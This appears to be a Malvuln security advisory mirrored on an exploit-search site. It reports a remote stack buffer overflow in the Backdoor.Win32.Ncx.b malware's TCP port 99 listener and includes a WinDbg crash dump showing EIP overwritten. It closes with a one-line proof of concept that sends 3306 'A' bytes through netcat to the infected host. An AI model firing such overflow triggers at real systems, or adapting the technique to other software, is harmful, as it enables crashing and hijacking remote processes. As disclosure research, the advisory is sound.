## https://sploitus.com/exploit?id=PACKETSTORM:165244
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/991c1f02c809cee860cb712896a45338_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Ncx.b
Vulnerability: Remote Stack Buffer Overflow
Description: The malware listens on TCP port 99. Third-party attackers who can reach an infected system can send a large junk payload and trigger a classic stack buffer overflow overwriting the EIP, ECX registers.
Type: PE32
MD5: 991c1f02c809cee860cb712896a45338
Vuln ID: MVID-2021-0422
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 12/11/2021
Memory Dump:
(f40.12a4): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=41414141 edx=77729d70 esi=00000000 edi=00000000
eip=41414141 esp=03051660 ebp=03051680 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
41414141 ?? ???
0:003> .ecxr
eax=00000000 ebx=00000000 ecx=41414141 edx=77729d70 esi=00000000 edi=00000000
eip=41414141 esp=03051660 ebp=03051680 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
41414141 ?? ???
0:003> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
*** WARNING: Unable to verify checksum for Backdoor.Win32.Ncx.b.991c1f02c809cee860cb712896a45338.exe
*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Ncx.b.991c1f02c809cee860cb712896a45338.exe
FAULTING_IP:
Backdoor_Win32_Ncx_b_991c1f02c809cee860cb712896a45338+1555
00401555 88443418 mov byte ptr [esp+esi+18h],al
EXCEPTION_RECORD: 0314f9f4 -- (.exr 0x314f9f4)
ExceptionAddress: 00401555 (Backdoor_Win32_Ncx_b_991c1f02c809cee860cb712896a45338+0x00001555)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000001
Parameter[1]: 03150000
Attempt to write to address 03150000
PROCESS_NAME: Backdoor.Win32.Ncx.b.991c1f02c809cee860cb712896a45338.exe
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_PARAMETER1: 00000008
EXCEPTION_PARAMETER2: 41414141
WRITE_ADDRESS: 41414141
FOLLOWUP_IP:
Backdoor_Win32_Ncx_b_991c1f02c809cee860cb712896a45338+1555
00401555 88443418 mov byte ptr [esp+esi+18h],al
FAILED_INSTRUCTION_ADDRESS:
+1555
41414141 ?? ???
MOD_LIST: <ANALYSIS/>
NTGLOBALFLAG: 0
APPLICATION_VERIFIER_FLAGS: 0
IP_ON_HEAP: 027d0b40
The fault address in not in any loaded module, please check your build's rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.
IP_IN_FREE_BLOCK: 41414141
CONTEXT: 0314fa44 -- (.cxr 0x314fa44)
eax=00000041 ebx=7745e250 ecx=5804cfad edx=0314fdc4 esi=00000144 edi=027d0b40
eip=00401555 esp=0314fea4 ebp=740a1e90 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
Backdoor_Win32_Ncx_b_991c1f02c809cee860cb712896a45338+0x1555:
00401555 88443418 mov byte ptr [esp+esi+18h],al ss:002b:03150000=??
Resetting default scope
FAULTING_THREAD: ffffffff
BUGCHECK_STR: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141
PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141
DEFAULT_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141
LAST_CONTROL_TRANSFER: from 027d0b40 to 00401555
FRAME_ONE_INVALID: 1
STACK_TEXT:
0314fea4 00401555 backdoor_win32_ncx_b+0x1555
0314fea8 027d0b40 unknown!unknown+0x0
STACK_COMMAND: .cxr 000000000314FA44 ; kb ; dds 314fea4 ; kb
SYMBOL_STACK_INDEX: 0
SYMBOL_NAME: backdoor_win32_ncx_b+1555
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: Backdoor_Win32_Ncx_b_991c1f02c809cee860cb712896a45338
IMAGE_NAME: Backdoor.Win32.Ncx.b.991c1f02c809cee860cb712896a45338.exe
DEBUG_FLR_IMAGE_TIMESTAMP: 34ae8eb9
BUCKET_ID: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_backdoor_win32_ncx_b+1555
FAILURE_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_Backdoor.Win32.Ncx.b.991c1f02c809cee860cb712896a45338.exe!Unknown
Exploit/PoC:
python -c "print('A'*3306)" | nc64.exe MALWARE_HOST 99
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